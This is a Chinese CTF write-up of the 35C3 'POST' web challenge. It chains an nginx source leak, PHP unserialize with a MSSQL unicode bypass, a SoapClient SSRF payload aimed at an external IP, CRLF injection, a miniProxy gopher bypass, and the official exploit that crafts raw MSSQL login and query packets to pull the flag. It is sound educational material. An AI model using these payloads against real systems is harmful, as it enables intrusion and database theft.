35c3 POST复盘记录
栏目: 数据库 · SQL Server · 发布时间: 5年前
内容简介:之前看到了 35c3 的比赛,但是没时间打,看了看题,发现这个题还是不错的,单独拿出来学习一下[TOC] Go make some
之前看到了 35c3 的比赛,但是没时间打,看了看题,发现这个题还是不错的,单独拿出来学习一下
[TOC]
POST
Description
Go make some posts .
Hint: flag is in db
Hint2: the lovely XSS is part of the beautiful design and insignificant for the challenge
Hint3: You probably want to get the source code, luckily for you it’s rather hard to configure nginx correctly.
Attacking Steps
这里简述一下攻击链
- nginx misconfiguration
- arbitrary unserialize
- SoapClient SSRF
- SoapClient CRLF injection
- miniProxy URL scheme bypass
- Connect to MSSQL via gopher
- Get flag
Hacking
Nginx Misconfiguration
根据 hint2 ,我们扫目录的时候可以发现
[00:42:47] Starting: [00:42:47] 400 - 182B - /%2e%2e/google.com [00:42:52] 301 - 194B - /inc -> http://localhost/inc/ [00:42:52] 403 - 580B - /inc/config.inc [00:42:52] 403 - 580B - /inc/ [00:42:52] 403 - 580B - /inc/fckeditor [00:42:52] 403 - 580B - /inc/fckeditor/ [00:42:52] 403 - 580B - /inc/tiny_mce [00:42:52] 403 - 580B - /inc/tiny_mce/ [00:42:52] 403 - 580B - /inc/tinymce/ [00:42:52] 403 - 580B - /inc/tinymce [00:42:52] 302 - 0B - /index.php -> /?page=login [00:42:56] 403 - 580B - /uploads [00:42:56] 403 - 580B - /uploads/ Task Completed
uploads 处发现了两处 403 的地方,而且服务器是 Nginx,而且拿其他一些扫描器也报了目录列举的洞
可以参考 Nginx不安全配置可能导致的安全漏洞 与 三个案例看Nginx配置安全
下载得到源码
Arbitrary Unserialize I
我们可以很明显地在 db.php 中发现反序列化的影子
private static function prepare_params($params) { return array_map(function($x){ if (is_object($x) or is_array($x)) { return '$serializedobject$' . serialize($x); } if (preg_match('/^\$serializedobject\$/i', $x)) { die("invalid data"); return ""; } return $x; }, $params); } private static function retrieve_values($res) { $result = array(); while ($row = sqlsrv_fetch_array($res)) { $result[] = array_map(function($x){ return preg_match('/^\$serializedobject\$/i', $x) ? unserialize(substr($x, 18)) : $x; }, $row); } return $result; }
这里还是比较明显的,但是要怎么构造这个 POP 链呢,我看了一下不是特别明显,也是涉及到了 soapclient 的构造与利用。而且整个构造也需要比较耐心来看,否则会陷入复现都比较懵逼的情况。
首先有反序列化的点,肯定需要有利用的类,否则光有反序列化的点,没有利用的类也没什么用。所以接下来我们需要去找一个可以利用的类。
ByPass Mssql
虽然确定了有反序列化漏洞,但是触发反序列化的条件就是
preg_match('/^\$serializedobject\$/i', $x) ? unserialize(substr($x, 18)) : $x;
虽然前面插入数据有给数据增加 $serializedobject$
的地方,但是这里需要数组或者对象,而我们传入的只能是字符串,所以不能利用这个点。
这里怎么绕过对 /^\$serializedobject\$/i
的正则判断呢?这里就需要用到 Mssql 的一个特性了。
MSSQL converts full-width unicode characters to their ASCII representation. For example, if a string contains 0xEF 0xBC 0x84, it will be stored as $.
也就是说, MSSQL会自动将全角unicode字符转换为ASCII表示形式。 例如,如果字符串包含 0xEF 0xBC 0x84
,则将其存储为 $
。 $s℮rializedobject$
入库后会变成 $serializedobject$
,注意前者的 ℮ 不是 ASCII 的 e,整个字符串的 16 进制如下,可见前者的 ℮ 的 hex 是 E284AE,而后者 e 的 ASCII 是 0x65。
所以我们可以利用这个特性进行绕过,可以用 burp 直接修改十六进制来操作
Soapclient
这里我们简单讲一下 soapclient
public SoapClient::SoapClient ( mixed $wsdl
[, array $options
] )
This constructor creates SoapClient objects in WSDL or non-WSDL mode.
这是一个 php 的内部类,简单来说就是用来创建 soap 数据报文,与 wsdl 接口进行交互的。
其中 __call
的魔术方法就比较有意思了
SoapClient::__call
> public SoapClient::__call ( string $function_name , array $arguments ) : mixed >
Calling this method directly is deprecated. Usually, SOAP functions can be called as methods of the SoapClient object; in situations where this is not possible or additional options are needed, use SoapClient::__soapCall() .
当 SoapClient 建立的时候就会调用这个魔术方法。而且还有一点小特性
当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。 __call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法
比如我们以下代码:
<?php $a = new SoapClient(null, array('location' => "http://106.14.153.173:2015",'uri'=> "123")); $b = serialize($a); echo $b; $c = unserialize($b); $c->hack(); ?>
当我们直接运行这段代码的时候,就因为调用了一个 SoapClient
不存在的方法 hack()
导致直接调用了 __call()
魔术方法
详细可以参考 N1CTF Easy&&Hard Php Writeup
####Arbitrary Unserialize II
好的,我们简单的介绍完了 soapclient
,接下来我们可以比较明显的看到在 post.php 处有一处类的方法的调用
class Attachment { private $url = NULL; private $za = NULL; private $mime = NULL; public function __construct($url) { $this->url = $url; $this->mime = (new finfo)->file("../".$url); if (substr($this->mime, 0, 11) == "Zip archive") { $this->mime = "Zip archive"; $this->za = new ZipArchive; } } public function __toString() { $str = "<a href='{$this->url}'>".basename($this->url)."</a> ($this->mime "; if (!is_null($this->za)) { $this->za->open("../".$this->url); $str .= "with ".$this->za->numFiles . " Files."; } return $str. ")"; } }
就是在 this->za->open()
处,我们可以充分利用 SoapClient
的特点进行构造,然而我们需要触发 Attachment
这个类的 __toString()
魔术方法,则需要一个 echo
的地方,然后发现在 default.php 这里有比较好的利用的点
<?php include 'inc/post.php'; ?> <?php if (isset($_POST["title"])) { $attachments = array(); if (isset($_FILES["attach"]) && is_array($_FILES["attach"])) { $folder = sha1(random_bytes(10)); mkdir("../uploads/$folder"); for ($i = 0; $i < count($_FILES["attach"]["tmp_name"]); $i++) { if ($_FILES["attach"]["error"][$i] !== 0) continue; $name = basename($_FILES["attach"]["name"][$i]); move_uploaded_file($_FILES["attach"]["tmp_name"][$i], "../uploads/$folder/$name"); $attachments[] = new Attachment("/uploads/$folder/$name"); } } $post = new Post($_POST["title"], $_POST["content"], $attachments); $post->save(); } if (isset($_GET["action"])) { if ($_GET["action"] == "restart") { Post::truncate(); header("Location: /"); die; } else { ?> <?php } } $posts = Post::loadall(); if (empty($posts)) { echo "<b>You do not have any posts. Create <a href=\"/?action=create\">some</a>!</b>"; } else { echo "<b>You have " . count($posts) ." posts. Create <a href=\"/?action=create\">some</a> more if you want! Or <a href=\"/?action=restart\">restart your blog</a>.</b>"; } foreach($posts as $p) { echo $p; echo "<br><br>"; } ?>
而且在 post.php 中, class Post
还存在一个这个魔术方法,其中把 $attach
拼接到了字符串当中,所以这里是先调用了 Post
类的 __toString
魔术方法,紧接着调用 Attachment
类的 __toString
魔术方法,也就可以调用到了 $this->za->open()
的方法。
public function __construct($title, $content, $attachments="") { $this->title = $title; $this->content = $content; $this->attachment = $attachments; } public function save() { global $USER; if (is_null($this->id)) { DB::insert("INSERT INTO posts (userid, title, content, attachment) VALUES (?,?,?,?)", array($USER->uid, $this->title, $this->content, $this->attachment)); } else { DB::query("UPDATE posts SET title = ?, content = ?, attachment = ? WHERE userid = ? AND id = ?", array($this->title, $this->content, $this->attachment, $USER->uid, $this->id)); } } public function __toString() { $str = "<h2>{$this->title}</h2>"; $str .= $this->content; $str .= "<hr>Attachments:<br><il>"; foreach ($this->attachment as $attach) { $str .= "<li>$attach</li>"; } $str .= "</il>"; return $str; }
而我们看 Post::loadall()
,我们可以发现
public static function load($id) { global $USER; $res = DB::query("SELECT * FROM posts WHERE userid = ? AND id = ?", array($USER->uid, $id)); if (!$res) die("db error"); $res = $res[0]; $post = new Post($res["title"], $res["content"], $res["attachment"]); $post->id = $id; return $post; } public static function loadall() { global $USER; $result = array(); $posts = DB::query("SELECT id FROM posts WHERE userid = ? ORDER BY id DESC", array($USER->uid)) ; if (!$posts) return $result; foreach ($posts as $p) { $result[] = Post::load($p["id"]); } return $result; }
loadall()
方法会逐个通过 id 调用 load()
方法,根据前面的 Post
构造方法与 save()
方法,我们可以找到保存 attachment
的方式。其实这里因为 echo
输出的是 $post['title']
、 $post['content']
,所以我们也可以放在这两者中,都会触发 __toString
的魔术方法
所以大概的流程就是我们通过构造好一个 SoapClient
的 payload ,插入之后访问 default.php 触发 echo
,调用 $this->za->open()
,接着触发 SoapClient
的 __call()
魔术函数完成一次反序列化攻击。
因为 echo
直接调用了反序列化的 __toString
魔术方法,我们可以直接利用 Attachment
这个类来构造 payload
class Attachment { private $za = NULL; public function __construct() { $this->za = new SoapClient(null,array('location'=>'http://106.14.153.173:2015','uri'=>'123')); } } $c=new Attachment(); $aaa=serialize($c); echo $aaa."\n"; echo base64_encode($aaa)."\n";
利用反序列化的特点,我们可以直接定义私有变量的值,但是字符串中会有不可见字符,实验如下
所以我们需要用 base64_encode
进行编码,把编码得到的字符串再在 burp 里面进行解码构造请求。
SoapClient SSRF
根据 hint1 ,flag 在数据库里,源码中含有数据库信息,因此我们可以利用 SoapClient
通过 SSRF 打 MSSQL。而题目也给我们提供了 miniProxy.php ,我们可以在 github 上可以看到相关使用说明
miniProxy should be able to run on any web server with PHP 5.4.7 or later. miniProxy requires PHP’s curl
and mbstring
extensions to be installed.
大概就是一个可以让我们访问内部服务的工具。然后我们根据备份文件 default.backup 得到
server { listen 127.0.0.1:8080; access_log /var/log/nginx/proxy.log; if ( $request_method !~ ^(GET)$ ) { return 405; } root /var/www/miniProxy; location / { index index.php; location ~ \.php$ { include snippets/fastcgi-php.conf; fastcgi_pass unix:/run/php/php7.2-fpm.sock; } } }
当我们请求 8080 的时候,请求的是 miniProxy,但是只能用 GET 请求,而我们之前可以发现 SoapClient
只能发 POST 请求
这里大概思路也比较清晰了,就是利用 miniProxy 使用 gopher 协议去访问 mssql 数据库拿到 flag ,但是怎么处理让 SoapClient
发送 GET 请求呢?
####SoapClient CRLF injection
发送 GET 请求我们就不得不又用到 SoapClient
的另一个选项
options
An array of options. If working in WSDL mode, this parameter is optional. If working in non-WSDL mode, the location and uri options must be set, where location is the URL of the SOAP server to send the request to, and uri is the target namespace of the SOAP service.
…
The user_agent option specifies string to use in User-Agent header.
而且在 header 里 User-Agent
在 Content-Type
前面,这里我们可以使用 CRLF 进行分隔请求,构造 GET 请求。
miniProxy URL scheme bypass
我们自己本地看看 MiniProxy 怎么用。
随便测一个 file:///etc/passwd
,返回
Error: Detected a "file" URL. miniProxy exclusively supports http[s] URLs.
然后我们定位到代码区
$scheme = parse_url($url, PHP_URL_SCHEME); if (empty($scheme)) { //Assume that any supplied URLs starting with // are HTTP URLs. if (strpos($url, "//") === 0) { $url = "http:" . $url; } } else if (!preg_match("/^https?$/i", $scheme)) { die('Error: Detected a "' . $scheme . '" URL. miniProxy exclusively supports http[s] URLs.'); }
发现是这个地方有个正则判断,开头必须以 https
或者 http
,然而我们需要用到 gopher 协议,就需要绕过这里。这里也就需要一个小 trick 了
$scheme = parse_url($url, PHP_URL_SCHEME); // 遇到 gopher:/// 时会解析失败,返回false empty($scheme) // empty(false) 为 true
这样我们就可以使用 gopher:///
绕过 die
的限制执行下面的 $response = makeRequest($url);
请求函数了。
这里也可以使用一个 301 进行跳转。
Connect to MSSQL via gopher
怎么构造gopher包呢,这是个比较麻烦的事,之前在另外一个比赛上用 tcpdump 抓自己的 mysql 的数据包然后进行 gopher ,这里也是类似的。这里就不再做了,直接拿官方给的 exp 看看吧。
// the prelogin and login packets can either be assembled // by hand if you are into that kind of stuff. // or you can just use wireshark :) $prelogin_packet = "\x12\x01\x00\x2f\x00\x00\x01\x00"; $prelogin_packet .= "\x00\x00\x1a\x00\x06\x01\x00\x20"; $prelogin_packet .= "\x00\x01\x02\x00\x21\x00\x01\x03"; $prelogin_packet .= "\x00\x22\x00\x04\x04\x00\x26\x00"; $prelogin_packet .= "\x01\xff\x00\x00\x00\x01\x00\x01"; $prelogin_packet .= "\x02\x00\x00\x00\x00\x00\x00"; $login_packet = "\x10\x01\x00\xde\x00\x00\x01\x00"; $login_packet .= "\xd6\x00\x00\x00\x04\x00\x00\x74"; $login_packet .= "\x00\x10\x00\x00\x00\x00\x00\x00"; $login_packet .= "\x54\x30\x00\x00\x00\x00\x00\x00"; $login_packet .= "\xe0\x00\x00\x08\xc4\xff\xff\xff"; $login_packet .= "\x09\x04\x00\x00\x5e\x00\x07\x00"; $login_packet .= "\x6c\x00\x0a\x00\x80\x00\x08\x00"; $login_packet .= "\x90\x00\x0a\x00\xa4\x00\x09\x00"; $login_packet .= "\xb6\x00\x00\x00\xb6\x00\x07\x00"; $login_packet .= "\xc4\x00\x00\x00\xc4\x00\x09\x00"; $login_packet .= "\x01\x02\x03\x04\x05\x06\xd6\x00"; $login_packet .= "\x00\x00\xd6\x00\x00\x00\xd6\x00"; $login_packet .= "\x00\x00\x00\x00\x00\x00\x61\x00"; $login_packet .= "\x77\x00\x65\x00\x73\x00\x6f\x00"; $login_packet .= "\x6d\x00\x65\x00\x63\x00\x68\x00"; $login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00"; $login_packet .= "\x6e\x00\x67\x00\x65\x00\x72\x00"; $login_packet .= "\xc1\xa5\x53\xa5\x53\xa5\x83\xa5"; $login_packet .= "\xb3\xa5\x82\xa5\xb6\xa5\xb7\xa5"; $login_packet .= "\x6e\x00\x6f\x00\x64\x00\x65\x00"; $login_packet .= "\x2d\x00\x6d\x00\x73\x00\x73\x00"; $login_packet .= "\x71\x00\x6c\x00\x6c\x00\x6f\x00"; $login_packet .= "\x63\x00\x61\x00\x6c\x00\x68\x00"; $login_packet .= "\x6f\x00\x73\x00\x74\x00\x54\x00"; $login_packet .= "\x65\x00\x64\x00\x69\x00\x6f\x00"; $login_packet .= "\x75\x00\x73\x00\x63\x00\x68\x00"; $login_packet .= "\x61\x00\x6c\x00\x6c\x00\x65\x00"; $login_packet .= "\x6e\x00\x67\x00\x65\x00"; // need to add a ;-- - to execute the query successfully, // because gopher adds a \x0d\x0a to the end of the request // and for some reaason the query does not execute if we don't // comment that out $query = $argv[1] . ";-- -"; $query = mb_convert_encoding($query, "utf-16le"); // the length of the packet is the length of the query + // the length of the header (30 bytes) + the \x0d\x0a added // by gopher protocol $length = strlen($query) + 30 + 2; $query_packet = "\x01\x01" . pack("n", $length) . "\x00\x00\x01\x00"; $query_packet .= "\x16\x00\x00\x00\x12\x00\x00\x00"; $query_packet .= "\x02\x00\x00\x00\x00\x00\x00\x00"; $query_packet .= "\x00\x00\x01\x00\x00\x00"; $query_packet .= $query; $payload = $prelogin_packet . $login_packet . $query_packet;
可以看到这里需要加入一个 ;-- -
,是为了注释掉 \x0a\x0a
,这是 gopher 自动添加的内容,不然 query 无法成功执行。
Get Flag
基本的利用点都分析完了,最后这道题还比较良心地在 bootstrap.php 中设置了
if (isset($_SERVER["HTTP_DEBUG"])) var_dump($USER);
可以看到自己的 UID
这个可以用来干嘛呢?当然是用来注入了啦,直接在自己的 post 中获取相关的信息
insert into posts (userid, title, content, attachment) values ({}, "foobar", (select flag from flag.flag), "foobar");
Conclusion
整个复现完还是感觉比较有难度的,特别是整个构造链都比较有意思。通过 SoapClient
反序列化到 gopher SSRF 到 CRLF 再到 Get Flag,整个流程需要的技巧以及对自己的能力要求比较高,整体下来学习了不少。主要都是与 SoapClient
相关,还是比较 Nice 的题目,也重新认识了反序列化漏洞。整体都比较赞。
php — Bonus
Description
PHP’s unserialization mechanism can be exceptional.
给个 bonus 吧,也算是一道简单的序列化题目
<?php $line = trim(fgets(STDIN)); $flag = file_get_contents('/flag'); class B { function __destruct() { global $flag; echo $flag; } } $a = @unserialize($line); throw new Exception('Well that was unexpected…'); echo $a; ?>
Hacking
Php 正常的类调用析构函数一般会在脚本结束的时候,然而这里要想拿到 flag ,就需要调用析构函数。然而 unserialize
正常解析类的时候不会调用析构函数,但是当解析出错的时候,如果类名是正确的,就会调用这个类的析构函数,比如正常序列化出来的类是这样的 O:1:"B":0:{}
,只要我们让他解析出错就可以调用析构函数了,所以以下随便用一个就好了
O:1:"B":0:{ O:1:"B":1:{}
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
大连接
[美] 尼古拉斯•克里斯塔基斯(Nicholas A. Christakis)、[美] 詹姆斯•富勒(James H. Fowler) / 简学 / 中国人民大学出版社 / 2013-1 / 59.90元
[内容简介] 1. 本书是继《六度分隔》之后,社会科学领域最重要的作品。作者发现:相距三度之内是强连接,强连接可以引发行为;相聚超过三度是弱连接,弱连接只能传递信息。 2. 本书讲述了社会网络是如何形成的以及对人类现实行为的影响,如对人类的情绪、亲密关系、健康、经济的运行和政治的影响等,并特别指出,三度影响力(即朋友的朋友的朋友也能影响到你)是社会化网络的强连接原则,决定着社会化网络的......一起来看看 《大连接》 这本书的介绍吧!